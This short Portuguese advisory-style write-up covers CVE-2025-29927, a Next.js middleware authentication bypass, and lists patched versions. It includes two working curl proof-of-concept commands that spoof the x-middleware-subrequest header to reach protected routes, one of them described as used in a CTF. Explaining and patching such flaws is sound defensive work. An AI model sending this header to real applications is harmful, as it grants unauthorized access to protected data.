CVE-2025-29927 — Desvio de Autenticação no Middleware do Next.js

Visão Geral

Imagine um porteiro na frente da boate, mas se você disser “Já estou dentro”, ele deixa passar sem verificar. É exatamente isso que é o CVE-2025-29927.

O middleware no Next.js é executado antes de uma requisição ser processada, tornando-o o local ideal para lidar com autenticação. O Next.js usa um cabeçalho interno x-middleware-subrequest para evitar requisições recursivas e loops infinitos. Esta vulnerabilidade demonstra que é possível ignorar ou pular completamente a execução do middleware — incluindo verificações críticas de segurança, como autenticação, antes de chegar a uma rota protegida.

Versões Afetadas

Aplicações vulneráveis

• Aplicações que hospedam Next.js e usam middleware
• Aplicações que dependem de middleware para autenticação e verificações de segurança sem validação posterior na pilha da aplicação

Não afetadas

• Aplicações hospedadas na Vercel
• Aplicações hospedadas na Netlify
• Aplicações publicadas como exportações estáticas (o middleware não é executado)

Impacto

Milhares ou milhões de aplicações rodam em versões não corrigidas do Next.js. Se não mitigada, esta vulnerabilidade permite acesso não autenticado a rotas protegidas por qualquer pessoa — sem necessidade de credenciais.

Prova de Conceito

curl -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  http://localhost:3000/private-area

A resposta retorna a página protegida sem nenhuma autenticação.

Explorei esta vulnerabilidade em um ambiente CTF real

curl -s "http://<target>/<private-area>" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"

Correção

Atualize o Next.js para uma versão corrigida:

• 15.x → 15.2.3 ou superior
• 14.x → 14.2.25 ou superior
• 13.x → 13.5.9 ou superior